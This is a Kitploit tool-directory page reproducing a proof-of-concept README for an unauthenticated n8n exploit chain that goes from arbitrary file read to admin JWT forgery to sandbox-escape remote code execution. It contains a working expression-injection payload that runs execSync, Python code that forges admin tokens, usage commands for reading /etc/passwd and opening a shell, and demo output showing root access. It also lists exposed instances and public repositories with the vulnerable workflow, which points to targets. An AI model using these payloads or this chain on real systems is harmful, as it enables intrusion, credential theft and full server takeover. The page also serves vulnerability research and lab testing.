Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-21858 — POC for CVE-2026-21858 | Kitploit
Tools/GitHubGitHub/fomovet/cve-2026-21858
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubfomovet/cve-2026-21858

cve-2026-21858

POC for CVE-2026-21858

View Repository
12 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain

Unauthenticated Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Critical)
Affected<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Fixed1.121.0 (AFR) / 1.120.4+ (RCE)
Disclosed2026-01-07 11:09 UTC
CodenameNi8mare
CreditDor Attias (Cyera)
ExploitChocapikk
ProcessAI-automated: patch diff → repro → lab → exploit (~9h post-disclosure)
TypeProof of Concept - NOT a universal exploit (requires specific workflow config, see Limitations)

TL;DR

Full unauthenticated RCE chain on n8n:

  1. CVE-2026-21858 - Content-Type confusion → Arbitrary File Read
  2. Read config + database → forge admin JWT
  3. CVE-2025-68613 - Expression injection → sandbox bypass → RCE

Detection

The exposure is version-based. In terms of exposure, there are vulnerable n8n instances publicly accessible.

LeakIX Results: View exposed instances

LeakIX Detection Results

Why This Exploit?

This exploit was developed independently from the Cyera write-up (discovered after completion). Key differences:

Both approaches require specific workflow configurations. Cyera needs chat + AI integration, this exploit needs a form with Respond node. See Limitations for details.

Attack Chain

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Arbitrary File Read via Content-Type Confusion

The Patch

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

The legendary "Merge commit from fork" - when you see this, someone found something spicy. 🌶️

Root Cause

root@kitploit:~
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Send Content-Type: application/json → control filepath → read any file.

CVE-2025-68613 - Expression Injection RCE

Why This Bypass?

n8n sandboxes user code (Code Node, expressions) using vm2/isolated-vm. Other RCE vectors:

TechniqueStatus
Execute Command NodeDisabled by default (N8N_ALLOW_EXEC_COMMAND=false)

I used Expression Injection because it works on any n8n with default settings - no special nodes or config required. The Pyodide bypass (CVE-2025-68668) requires the Python Code Node which may not be available on all instances.

The Payload

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

n8n expressions have access to this.process.mainModule.require → full sandbox escape.

Token Forge

root@kitploit:~
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Lab Setup

root@kitploit:~
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Usage

root@kitploit:~
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitations

This is NOT a "pwn any n8n" exploit. It requires specific conditions to work:

RequirementDescription
Form with file uploadTarget must have a form workflow with a file upload field

Example of vulnerable workflow configuration:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

The key elements are: fieldType: "file" + respondWith: "binary". This pattern is common in file processing workflows (converters, image resizers, document processors).

Works:

  • Forms with Respond node returning binary (file converters, processors)
  • Default n8n installs (Expression Injection not blocked)
  • Local/Docker deployments (database + config stored on disk)

Doesn't work:

  • Forms without Respond node (file is read but content not returned in HTTP response)
  • Forms requiring authentication
  • n8n Cloud (different architecture, no local file access)
  • Patched versions (>= 1.121.0)

Note: The vulnerability (arbitrary file read) is triggered regardless of exfiltration method. The Respond node is just one way to retrieve the content. Alternative methods (OOB, other output nodes) may work depending on workflow configuration.

Blind exploitation: If no respond node exists, the file is still read by n8n but cannot be exfiltrated via HTTP response. Alternative techniques (OOB, timing) would be needed.

Real-world Examples

The vulnerable pattern (Form Trigger + file upload + Respond to Webhook) exists in public GitHub repositories.

Note: Popular n8n workflow repos (>100⭐) don't use this pattern. These are community/personal projects:

These are community-contributed workflows. No official n8n.io templates use this vulnerable pattern.

References

  • Vulhub Environment - Ready-to-use lab on Vulhub
  • Cyera Research - Ni8mare Full Write-up - Original research by Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Nuclei Template CVE-2025-68613
  • LeakIX Search Results - Exposed vulnerable instances
  • Formidable - "The library, not the song" (thanks Cyera for the laugh)
Download Tool
Cyera (Original Research)This Exploit
File ReadLoad into AI knowledge base → query via chatDirect HTTP response
PrerequisitesChat workflow + AI integrationAny form with file upload
RCE Method"Execute Command" node (disabled by default)Expression Injection (works on default installs)
AutomationManual/conceptual demoFully automated Python script
SSH/HTTP NodesExecute on remote servers, not n8n host
Pyodide Sandbox EscapeCVE-2025-68668 - requires Python Code Node
Expression InjectionCVE-2025-68613 - works on default installs
Respond to Webhook nodeWorkflow must return the file content in HTTP response
Workflow activeThe form workflow must be activated
Unauthenticated accessForm must be publicly accessible (no auth)
Workflow FileFile FieldsrespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonImages, Audio, Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonDocument(PDF)text
ai_resume_project/resume_rag.jsonFile UploadallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonAudio Filetext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonfiletext
voltixLandingPage/.../chatbotvoltix.jsonUpload Filedefault
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonfiledefault
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonUpload your documentdefault
learn_earn_ai_insta/.../My workflow.jsonupload your filedefault
finintworkshop/.../API using n8n (ToT).jsonfilejson